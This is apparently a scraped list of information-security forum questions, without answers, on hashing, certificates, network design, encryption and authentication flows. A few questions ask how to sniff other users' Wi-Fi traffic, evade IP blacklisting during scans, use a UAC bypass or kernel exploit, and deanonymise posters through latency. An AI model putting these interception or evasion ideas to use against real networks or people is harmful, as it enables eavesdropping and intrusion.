I observed the salt and hash using wireshark, and I know the password, but I am having trouble reproducing the hash I saw.
My question is about the salt. I observed in wireshark that this salt was only 12 bytes and null terminated. I noticed someone else had a salt of the same length as mine. So...is this salt padded? How is it padded? I can't find anything about how to turn the 12bytes they give me into the 20bytes I use in my calculations.
|
I have a managed switch on my network but I don't remember the subnet.
How can I scan all the private network without changing my ip address : 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16
Thanks for advices
|
I'm experimenting with security, cryptography and web applications. My aim is to create simple login system that is realy secure enough. I'd like to share my approach to keep authenticated session with you to get some comments.
My approach:
When te user signs in (I use BCrypt and password_verify):
session_regenerate_id(TRUE);
$_SESSION['session_token'] = mcrypt_create_iv(16, MCRYPT_DEV_URANDOM);
$app->setCookie('auth', hash_hmac("sha256", $_SESSION['session_token'].$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT'], SESSION_SECRET));
$app->redirect($app->urlFor('index'));
All the cookies are encrypted with MCRYPT_RIJNDAEL_192 in CBC mode (Slim framework takes care of it).
Then, at every request I perform those checks:
$token = $app->getCookie('auth');
if(!$token
|| !isset($_SESSION['session_token'])
|| hash_hmac("sha256", $_SESSION['session_token'].$_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT'], SESSION_SECRET) !== $token
) {
// user not logged in
}
SESSION_SECRET is my defined random const string.
And here is my logout function:
$app->deleteCookie('auth');
session_destroy();
session_unset();
session_start();
session_regenerate_id(TRUE);
Is it secure enough in the matter of keeping user signed in?
|
If you use a passive network tap and a server with an Ethernet port in promiscuous mode to monitor all traffic between WAN port of your router and RJ45 port of your ISP cable modem.
Is the IDS instance running snort and snorby vulnerable to attacks from the Internet? Because it's placed outside the router, which usually acts as a firewall.
The connection to check the snorby website is done over a separate Ethernet port than the server which is connected to a LAN port of the router. You can only check the snorby website when you're within the LAN.
|
I am working at a company that is PCI compliant, but I believe they have interpreted some of the requirements incorrectly. Because of this, they are laboring to create work-arounds which I suspect are not necessary.
Specifically, I am wondering about the definition of "Transmission", in the context of PCI requirement 4.2 b "All secret and confidential data must be encrypted at all times during transmission and storage".
The company has taken this to mean that any time a file is copied WITHIN THE INTERNAL NETWORK, that this constitutes transmission, and because of that the file needs to first be encrypted.
I believe, though, that transmission seems to imply transfer through the internet - where of course you would need to have that encrypted.
Can anyone help settle the argument?
|
I don't really understand how salting works. I read the Wikipedia article, but I still don't understand how can a system authenticate a salted hash?
Let's say a user chooses a password. It's randomly salted and hashed. Now, when that user wants to login again, his password is hashed again and compared with the salted and hashed password saved from the last time. The hashes won't match, will they?
I mean, I guess they DO match in some way. But how?
|
There are two clients and a server. Each client generates an RSA key pair and uploads public key to the server. The server associates the public key with the user identifier that is specified during upload.
Then client A needs to share the data with client B. It asks the server for the public key of the client B. The fingerprint of the public key is presented to the user for the visual verification. It is the responsibility of the user A to decide if she trusts the public key of the user B and vice versa.
After both users trusted the public keys of each other, they can encrypt data for each other. Client A encrypts data with the public key of the client B, uploads it to the server. Client B downloads the data, and decrypts it.
Clients communicate with the server using TLS implemented by the operating system. The server authenticates clients using OAuth2 with MAC token.
Although the bigger question is, of course, if this system from this high perspective already has some security problems, the question of this post is about the certificates.
In a situation like that, when the higher goal is to provide end-to-end encryption, and one of the decisions is to make the users verify each other’s public keys, is there any benefit of having self-signed certificates in addition to just the public keys?
It is said, for example, that the self-signed certificate guarantees that somebody who generated it also has the corresponding private key. When no certificates are involved, is there a security risk of client A encrypting something with what is thinks is a public key of the client B, but not actually is a public key?
|
In an 802.1X protected LAN, the switch port is usually set to "Multiple Hosts" mode and the access point is configured as an 802.1X supplicant which authenticates to the switch and "opens" the port. The access point can now freely bridge wireless clients to the LAN and has the responsibility of authenticating each wireless client.
This is insecure because you can unplug the LAN cable from the access point and plug it into a rogue switch along with the access point and the access point would authenticate and grant LAN access to the rogue switch where unauthorised devices can be connected.
Changing the switch port to "Multiple Sessions" mode will require all hosts to authenticate even if plugged into a rogue switch with the authenticated access point. If the Wi-Fi uses WPA2 Enterprise (802.1X based) as well, will this somehow authenticate the wireless clients to the switch so that they can access the LAN?
|
Talking about SSL certificates, there are 3 types.
Basic validation
Business validation
Extended Validation
The first one checks only if a domain name is registered for the user which issues the certificate.
The second one also requires information about the company.
The last one checks the physical location of a company.
My question here, do the 2nd and 3rd option make the connection more secure? Because our users know the domain is ours (100% verified with them) and they all contain a 128-bit encryption.
Will the 1st certificate be enough for us, or do you recommend the 2nd? I consider number 3 an option for banks.
|
We're currently running a web site using .NET, and I'm using the Elmah package to look at some errors and issues in real time.
I've noticed that there are a number of errors in the log from IP Addresses that seem to be scanning for PHPMyadmin exploits, etc.
While we're not affected by these particular scans, I'd like to report these IPs so that others may possibly be protected.
What is the proper way to report this, and who should I report it to?
|
We've just learnt about firewalls and DMZ and I'm struggling to understand how are these actually implemented ? The architecture we've learned was something like this:
Let's say that we have a shopping website that allows users to register an account in order to make online purchases and also participate in the website's forum.
In terms of security, what assets should be placed in the DMZ and what assets should be placed in the internal network ?
|
So it's a fairly simple question. When offering an avenue to security researchers for communication with us regarding disclosure of security vulnerabilities, what's the best way to do so?
Assume we have a responsible disclosure policy page that's secured under a properly configured SSL/TLS connection:
Offer a security@ email address to contact with a PGP with an established Web of Trust consisting of developers and open source community. The PGP fingerprint is published on the page and the key is available on one of the many key servers.
Offer a HTTPS submission form that, under the hood, dispatches an email from the webserver to the office's internal mail system. STARTTLS would be used so the email is encrypted in-transit
Offer both, letting the researcher decide.
It would seem to me that Option 3 is the best, but I've heard researchers complain about all 3 options both for & against.
|
I'm trying to see the visual difference between Business SSL Validation and Standard Validation but I see no difference (or I cannot find a site which contains a Business SSL certificate)
Is there a way to see what kind of SSL certificate has been issued?
- I know about the green bar for example on HTTPS VeriSign for Extended Validation. But I fail to see the difference between Basic and Business Validation.
|
I'm still new to information security, but I have read a bit about the one-time pad. The point that sticks out to me the most is that it is supposedly unbreakable. Has this method of encryption ever been incorporated in any internet web applications on a larger scale? How would they pass they key?
|
StartSSL has an intermediate certificate that they use to sign their EV certificates: sub.class4.server.ca.pem. This certificate's issuer is shown by openssl x509 to be /C=IL/O=StartCom Ltd./OU=Secure Digital Certificate Signing/CN=StartCom Certification Authority. This matches the certificate they distribute as their root CA: ca.pem.
However, Firefox/Mozilla includes two certificates with that subject. One is the same as the certificate that StartSSL distributes. The other (attached below) is verifiably different; for instance, the serial number of the former is 1, while the serial number of the latter is 45. Edit: After further research, it turns out that this is the same as the cert that StartSSL distributes as ca-sha2.pem.
If I use openssl verify to check sub.class4.server.ca.pem against ca.pem, it works:
% openssl verify -CAfile ca.pem -verbose sub.class4.server.ca.pem
sub.class4.server.ca.pem: OK
Interestingly, though, if I check it against the Firefox/Mozilla certificate, it still works:
% openssl verify -CAfile ca-ff.pem -verbose sub.class4.server.ca.pem
sub.class4.server.ca.pem: OK
Just to make sure something else wasn't getting in there to foul my results, I tried it against a certificate I knew to be the wrong one:
% openssl verify -CAfile ca-wrong.pem -verbose sub.class4.server.ca.pem
sub.class4.server.ca.pem: C = IL, O = StartCom Ltd., OU = StartCom Certification Authority, CN = StartCom Extended Validation Server CA
error 20 at 0 depth lookup:unable to get local issuer certificate
That leaves two possibilities: either openssl verify isn't checking the actual signature and relying solely on the Issuer Subject (possibly because I'm using it incorrectly), or somehow this certificate can be verified with two different certificates.
To check the first possibility, I created a self-signed certificate with the same issuer information and used it to verify the intermediate certificate:
% openssl verify -CAfile ca-fake.pem -verbose sub.class4.server.ca.pem
sub.class4.server.ca.pem: C = IL, O = StartCom Ltd., OU = StartCom Certification Authority, CN = StartCom Extended Validation Server CA
error 20 at 0 depth lookup:unable to get local issuer certificate
So it seems that openssl verify is not that easily bamboozled.
Then it occurred to me that two different certificates could verify the same child certificate if they used the same RSA key, and I found that the public key modulus reported for the two certs are the same.
Is it concerning at all that StartCom has apparently used the same RSA key for two different certificates? It seems like a bad idea to me, but I'm just an amateur.
For convenience for anyone else looking into this, here's the additional certificate that Firefox has:
-----BEGIN CERTIFICATE-----
MIIHhzCCBW+gAwIBAgIBLTANBgkqhkiG9w0BAQsFADB9MQswCQYDVQQGEwJJTDEW
MBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMiU2VjdXJlIERpZ2l0YWwg
Q2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMgU3RhcnRDb20gQ2VydGlmaWNh
dGlvbiBBdXRob3JpdHkwHhcNMDYwOTE3MTk0NjM3WhcNMzYwOTE3MTk0NjM2WjB9
MQswCQYDVQQGEwJJTDEWMBQGA1UEChMNU3RhcnRDb20gTHRkLjErMCkGA1UECxMi
U2VjdXJlIERpZ2l0YWwgQ2VydGlmaWNhdGUgU2lnbmluZzEpMCcGA1UEAxMgU3Rh
cnRDb20gQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUA
A4ICDwAwggIKAoICAQDBiNsJvGxGfHiflXu1M5DycmLWwTYgIiRezul38kMKogZk
pMyONvg45iPwbm2xPN1yo4UcodM9tDMr0y+v/uqwQVlntsQGfQqedIXWeUyAN3rf
OQVSWff0G0ZDpNKFhdLDcfN1YjS6LIp/Ho/u7TTQEceWzVI9ujPW3U3eCztKS5/C
Ji/6tRYccjV3yjxd5srhJosaNnZcAdt0FCX+7bWgiA/deMotHweXMAEtcnn6RtYT
Kqi5pquDSR3l8u/d5AGOGAqPY1MWhWKpDhk6zLVmpsJrdAfkK+F2PrRt2PZE4XNi
HzvEvqBTViVsUQn3qqvKv3b9bZvzndu/PWa8DFaqr5hIlTpL36dYUNk4dalb6kMM
Av+Z6+hsTXBbKWWc3apdzK8BMewM69KN6Oqce+Zu9ydmDBpI125C4z/eIT574Q1w
+2OqqGwaVLRcJXrJosmLFqa7LH4XXgVNWG4SHQHuEhANxjJ/GP/89PrNbpHoNkm+
Gkhpi8KWTRoSsmkXwQqQ1vp5Iki/untp+HDH+no32NgN0nZPV/+Qt+OR0t3vwmC3
Zzrd/qqc8NSLf3Iizsafl7b4r4qgEKjZ+xjGtrVcUjyJthkqcwEKDwOzEmDyei+B
26Nu/yYwl/WL3YlXtq09s68rxbd2AvCl1iuahhQqcvbjM4xdCUsT37uMdBNSSwID
AQABo4ICEDCCAgwwDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMCAQYwHQYD
VR0OBBYEFE4L7xqkQFulF2mHMMo0aEPQQa7yMB8GA1UdIwQYMBaAFE4L7xqkQFul
F2mHMMo0aEPQQa7yMIIBWgYDVR0gBIIBUTCCAU0wggFJBgsrBgEEAYG1NwEBATCC
ATgwLgYIKwYBBQUHAgEWImh0dHA6Ly93d3cuc3RhcnRzc2wuY29tL3BvbGljeS5w
ZGYwNAYIKwYBBQUHAgEWKGh0dHA6Ly93d3cuc3RhcnRzc2wuY29tL2ludGVybWVk
aWF0ZS5wZGYwgc8GCCsGAQUFBwICMIHCMCcWIFN0YXJ0IENvbW1lcmNpYWwgKFN0
YXJ0Q29tKSBMdGQuMAMCAQEagZZMaW1pdGVkIExpYWJpbGl0eSwgcmVhZCB0aGUg
c2VjdGlvbiAqTGVnYWwgTGltaXRhdGlvbnMqIG9mIHRoZSBTdGFydENvbSBDZXJ0
aWZpY2F0aW9uIEF1dGhvcml0eSBQb2xpY3kgYXZhaWxhYmxlIGF0IGh0dHA6Ly93
d3cuc3RhcnRzc2wuY29tL3BvbGljeS5wZGYwEQYJYIZIAYb4QgEBBAQDAgAHMDgG
CWCGSAGG+EIBDQQrFilTdGFydENvbSBGcmVlIFNTTCBDZXJ0aWZpY2F0aW9uIEF1
dGhvcml0eTANBgkqhkiG9w0BAQsFAAOCAgEAjo/n3JR5fPGFf59Jb2vKXfuM/gTF
wWLRfUKKvFO3lANmMD+x5wqnUCBVJX92ehQN6wQOQOY+2IirByeDqXWmN3PH/UvS
Ta0XQMhGvjt/UfzDtgUx3M2FIk5xt/JxXrAaxrqTi3iSSoX4eA+D/i+tLPfkpLst
0OcNOrg+zvZ49q5HJMqjNTbOx8aHmNrs++myziebiMMEofYLWWivydsQD032ZGNc
pRJvkrKTlMeIFw6Ttn5ii5B/q06f/ON1FE8qMt9bDeD1e5MNq6HPh+GlBEXoPBKl
CcWw0bdT82AUuoVpaiF8H3VhFyAXe2w7QSlc4axa0c2Mm+tgHRns9+Ww2vl5GKVF
P0lDV9LdJNUso/2RjSe15esUBppMeyG7Oq0wBhjA2MFrLH9ZXF2RsXAiV+uKa0hK
1Q8p7MZAwC+ITGgBF3f0JBlPvfrhsiAhS90a2Cl9qrjeVOwhVYBsHvUwyKMQ5bLm
KhQxw4UtjJixhlpPiVktucf3HMiKf8CdBUrmQk9io20ppB+Fq9vlgcitKj1MXVuE
JnHEhV5xJMqlG2zYYdMa4FTbzrqpMrUi9nNBCV24F10OD5mQ1kfabwo6YigUZ4LZ
8dCAWZvLMdibD4x3TrVoivJs9iQOLWxwxXPR3hTQcY+203sC9uO41Alua551hDnm
fyWl8kgAwKQB2j8=
-----END CERTIFICATE-----
|
I need a way to share large, uniquely encrypted files (AES256) that are actually the same file when decrypted, through P2P, to optimize download speeds.
For instance, a centralized server would store the keys for each uniquely encrypted file (keys are assigned to user accounts). When a user downloads the uniquely encrypted file via P2P, the server sends them the key to decrypt.
I know the logic here is counter-intuitive, but is this even possible? To have a P2P network of uniquely encrypted files sharing the same file (when decrypted).
Could this be approached through a sort of chunking of data, where only part of the data is encrypted (and sent directly from the central server to each user) and a majority of the data is shared via P2P, then when each download is finished a client-side program pieces them together?
The point of this is to only allow a user to view the decrypted file once a server-side transaction is verified, as a security measure, but allow them to download the file via P2P beforehand.
|
As my knowledge about information security is not THAT good and Google did not give me a satisfactory answer I would like to ask the community here:
I am working for a company offering online services (as an ASP) where high-value target information of customers is stored (e.g. confidential documents of different companies). Access to the backend (source, database, and so on) of the application (root) server should be protected as good as possible. Now our host suggested to only allow certain static IP addresses as part of the authentication process, to make it more secure.
So my first question is: Is there a REAL security benefit in this measure OR not? (Beside the fact that it may be a bit harder for attackers to get into the backend as they must know of the measure itself and the required static IP Adresses, also think of IP Spoofing and high anonymous proxies)? If not, please give me a reasonable explanation as the stakeholders of my company want to force every programmer in the company to get a static IP address for their home internet connections ;-)
Second question: If there is a REAL security benefit in this, is there a real difference regarding security between getting a static IP address from my Internet Provider directly and renting a static IP from a service like http://dyndns.com/ or http://www.noip.com/ [as this is cheaper ;-)]?
@Edit: You cannot rent a static IP for this purposes from dyndns/noip, but from VPN service providers as e.g. strongvpn (http://strongvpn.name/static_ip.shtml).
|
So people always talk about how if you use http over a shared wifi hotspot, people will be able to see your unencrypted data, but I have never been able to make the direct connection from a network security standpoint. I would like to know how to intercept such data and how to view it in a form that is usable. If I connect to a wifi spot and get Wireshark to listen on wlan0 (wireless interface), is this going to be sufficient to view everyone else's traffic? It would seem that when another user on that lan navigates to a website, they will maybe send a broadcast/arp to everyone, but I don't see how their http traffic would ever go through my wlan interface when it would be destined for the default gateway?
Secondly, wireshark has a lot of sporadic meta data that goes passing through. I know of a unix security tool called dsniff that is supposed to render only password data (not http in partcular) and this is the only tool I have found to render useful data like http traffic. Are there any better tools for this?
|
This might well be a silly question, but at the moment I've not thought of a reason it doesn't work.
As I think is generally known, you should never re-use a one-time pad. But compression allows you to transmit something larger than the number of bytes used in transmission...
I'm not intending to / have no reason to do this but thought it was an interesting idle thought wondering why you can't:
establish initial one-time pads securely with someone.
communicate using the pads, and when it gets near the end, transmit a knew (compressed) one-time pad, which you both subsequently use.
(I realise the ratio of data vs pads in your throughput might be pretty terrible).
I'm assuming someone strong on maths might be able to explain that if the algorithm is known it might be possible to break it because in a way data is being 'reused', though in an encrypted, compressed form the first time, as the key the second.
If the security does degrade, at what point/how much? (Assuming neither ends have the conversation have been compromised).
edit: thanks for looking guys, I forgot that random data is hard to compress; question answered.
|
My understanding is that SSL certificates are expensive because you are paying a 3rd party to vouch for your identity, and apparently the most secure form of trust is the trust you have to pay for. I'm guessing the trust you're getting is a way to show you're not a phishing website or something (even though I've seen very convincing SSL certificates on phishing websites).
Anyway, I have an API which just needs encrypted communication between a client and web server. I don't need the trust factor that $200-per-year certificates offer, because users aren't even using a web browser to use my API - they're using some code they've written themselves and the URL is hard-coded into their applications.
Unfortunately working with SSL certificates is tricky for most new developers (whom will be using my API) if the certificate is self-signed. Most programming frameworks will throw an exception if the untrusted certificate isn't imported, etc. It's too annoying and will drive developers away from my service. However, not encrypting traffic is just not an option.
All I need is for web traffic to be encrypted and for developers who use my API to not have to jump through hoops. The mechanism for doing encryption is free and open source, and I don't want to have to buy added 3-rd party "trust".
TLDR / Conclusion: Is there any way to generate a free SSL certificate that will be trusted by most programming frameworks? OR, are there any other options for secure communication over HTTP without a purchased SSL certificate?
|
It appears that there is an exploit out there that allegedly allows you to bypass the UAC on Windows 7 computers and gain administrator access. I was wondering if this exploit is still a dangerous vulnerability on the average Windows 7 box or if it is already widely patched. I haven't looked too closely at the exploit, so it may not work at all. It seems to be legitamate C programming with win32 from just skimming through it. I've seen different sites that claim this is a valid exploit.
http://www.exploit-db.com/bypassing-uac-with-user-privilege-under-windows-vista7-mirror/
|
I'm running Ubuntu 8.04 TLS linux 2.6.24-23, I find that CVE-2009-2692 which exploits by using sock_sendpage() null pointer dereference. It describes this exploit affects linux version prior to 2.6.31 and I find patched version of Ubuntu 8.04 is linux 2.6.24-24. I attempted to run this exploit on my machine, but I couldn't make it work due to mmap permission denied. Does that mean kernel 2.6.24-23 is not vulnerable from this exploit?
|
I've recently had some success and traffic increase with an online business I own and due to that someone has hacked my domain email and twitter accounts. My bank password is the same and I just changed everything to some really random difficult 16 character pass (looks like a bitcoin address honestly). But the problem is I can not remember this password...
I'm afraid to store it on my Dropbox because if my PC is compromised they can gain access. Is the only way to store it on a flash drive or sticky note and put that in my wallet or something? Or take a photo on my phone? The chances of my phone being stolen are slim to none. Seems very cumbersome to have to look at my phone every time I login to my bank and enter some 16 character password..
And also, how do large corporations and VIP (billionaires, celebrities, heads of state) individuals secure their passwords?
Thanks
|
There is ongoing and quite promising research with prototypes presented about using physically unclonable functions (PUFs) in authentication. If they are practically unclonable, how is a PUF-based device authenticated?
|
I want to pentest a specific web application with automatic tool like Burp Suite and IBM Security AppScan. However, the website uses a prevention mechanism for attack. When I started automatic tool, it blacklisted my IP address.
In my opinion, I can change my IP address periodically but this method takes long time.
Is there any bypass mechanism for this prevention method?
|
I have been wondering how to stop intrusion/hack in a website build in cakephp.
The neccessities that I have done so far are
updated framework
strong password
frequent password change
removed default username from root to user from config.php file in cakephp
file permission to /app/config changed to 755 from 777
root:user:group
restricting only selected ip address to linux server but I can't as its shared.
Any ideas will be very helpful. thanks
|
Maybe this question sounds obvious, but I wonder how dangerous might be publishing a public key for an asymmetric encryption system?
I know public keys are meant for encrypting messages by anyone who's meant to do so, that's why we can even download a public cert of the most common CAs from web browsers.
But is it secure if I publish my public key on a webserver so anyone can download it? What risks am I facing doing this?
Thanks.
|
Question is clear from title, is there a way to track user even if he is using a proxy. The point is, am i secure enough to surf internet with proxy to hide myself?
|
Generating Diffie Hellman parameters in OpenSSL can be done as follows:
$ openssl dhparam -out dh2048.pem 2048
Generating DH parameters, 2048 bit long safe prime, generator 2
This is going to take a long time
[...]
The "generator 2" caught my attention there. It appears I can choose between generator 2 and 5 as indicated by the manpage (man dhparam):
-2, -5
The generator to use, either 2 or 5. 2 is the default. If present then the input file
is ignored and parameters are generated instead.
What is generator 2 and 5?
How does choosing 5 instead of 2 affect the security?
Is this specific to OpenSSL?
|
I'm currently using GPG RSA keys to encrypt binary files. Many people recommend using symmetric keys to encrypt large files, and then encrypt the symmetric key with a public key.
At what file size should I switch from RSA to something like AES? Is it arbitrary? Are there any security concerns with using GPG/RSA on massive files (gigabytes)? I'm aware that RSA is much slower/larger, I'm just wondering if there were any other issues.
It's much less hassle to encrypt directly using RSA even if it takes more time, than to generate new symmetrical AES keys, encrypt the file, encrypt the keys via RSA and then store the AES keys every time I'm encrypting my files, that's why I'm asking about why I should use it.
|
Here is a scheme for deanonymizing a user that I've been thinking about, just out of curiosity. I tried searching for it but didn't find much. Does this technique have a name? Are there any papers or articles on this? And is it known to be in use?
So a user posts a lot of information, on Twitter or on a Blog, etc.. He/she tries to be anonymous by using internet cafes, Tor, proxies, or any other method. The user's posts obviously don't have geotagging information, but they have precise timestamps.
Now, an attacker could introduce slight delays into all potential user's connections, of the order of milliseconds. They either do this with the cooperation of the ISPs (e.g. intelligence agencies), or by spamming the connections using botnets (e.g. criminals). The attacker would vary the delays by location and time. Then, looking at the timestamps of posts, there would be windows where a targeted user would be less likely to have successfully submitted a post. A simple example, if I imposed a delay of 2 seconds at 9:00, the user couldn't have posted at 9:01. In real life, the attacker would probably use tiny delays and a lot of posts, and use probabilistic methods to narrow down the target.
Ways to improve accuracy would be to get more precise data (getting the exact timestamps of posts by cooperating with the sites the user posts to), or by watching a real-time stream of data, e.g. VOIP, and correlating the delays with the imposed delays.
Now, thinking about it, you could possibly even do this passively, by measuring latency at a lot of points and correlating it with the timestamps of your target, but that makes it at lot harder.
So, would this work? Is this known to be used?
|
I am using Facebook login in a mobile native app, and I'm trying to figure out if my approach is secure enough.
This is the flow (all communication is made over SSL):
User logins to Facebook through the mobile app.
The app passes the user's Facebook short term access key to the server.
The server uses the key and makes a request to Facebook to retrieve the user details and to get Facebook long term access key.
If the request to Facebook is successful a user is created in my DB.
An object is then created for that user, which includes his Facebook ID, Facebook Token and creation date. That object is encrypted using Rijndeal (256 bits) and returned to the client. From now on all requests from the client include that token. The token is valid for 48 hours. When the token expires I once again use Facebook's access key and make a request to Facebook. If Facebook's access key is still valid, a new token is generated and returned to the client.
When the user wants his data, the client sends the token, if the decryption of the token is successful I use his Facebook Id (which is also the ID I use for the user), which is part of the token, to retrieve his info and send it back to the client.
I have two questions –
Is that flow secure?
When I encrypt the token, should I use different IV and salt for each token? (My assumption is that it is necessary, but does it mean I should store the IV and Salt in the DB, and actually retrieve it in every call the client makes – seems quite expansive).
|
Some of the leaks which emerged during/after Snowden concerned the fact that the NSA was paying the organization behind RSA a lot of money in order for them to systematically weaken the encryption by default.
Since both SSL and SSH typically use public/private RSA keypairs for their encryption, is this encryption now considered insecure?
What exactly was leaked, and does it cast doubts on the security of all SSL/SSH encryption?
|
We are looking to implement Attribute-Based Access Control. While we are sold on the philosophy, there are two topics that seem to crop up:
Will it lead to significant performance issues? Especially if we seek fine-grained access. I guess I am looking for some structured guidance to strike the right balance.
Are available PEPs capable of implementing XACML? My colleagues who checked IBM and Oracle aren't very comfortable that it is ready for enterprise yet.
|
How can you tell which hashing algorithm is being used on a system? We are using 2048 bit encryption and wondering how to tell if hashing algorithm SHA-1 with SHA-2 is being used.
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.